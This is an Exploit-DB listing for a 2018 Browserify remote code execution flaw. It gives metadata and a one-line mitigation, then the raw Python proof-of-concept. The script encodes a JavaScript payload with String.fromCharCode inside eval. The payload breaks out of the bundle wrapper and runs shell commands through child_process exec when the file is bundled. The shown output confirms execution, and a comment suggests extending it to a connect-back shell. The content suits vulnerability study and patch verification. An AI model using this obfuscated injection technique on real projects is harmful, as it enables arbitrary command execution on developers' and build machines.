Browserify POC exploit

vendor:

Browserify

by:

Foxx

9,8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Browserify

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: All

2018

This exploit allows an attacker to execute arbitrary code on the vulnerable system by using the Browserify library. The exploit works by encoding the malicious code in the form of a string and then using the String.fromCharCode() function to execute it. The malicious code can be used to execute arbitrary commands on the system, such as 'uptime' and 'id' to get system information.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of Browserify, which has been patched to prevent this type of attack.

Source

Exploit-DB raw data:

#!/usr/bin/python
 
"""
Browserify POC exploit

http://iops.io/blog/browserify-rce-vulnerability/
 
To run, just do:
 
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29,  3 users,  load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
 
You can also spawn() and create a connect back shell.
 
Enjoy
 
"""
 
def charencode(string):
    encoded=''
    for char in string:
        encoded=encoded+","+str(ord(char))
    return encoded[1:]
 
plaintext = """
   var require = this.process.mainModule.require;
   var sys = require('sys')
   var exec = require('child_process').exec;
   function puts(error, stdout, stderr) { sys.puts(stdout) }
   exec("uptime && id", puts);
   console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
 
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
 
print "});"
print final
print "(function(){"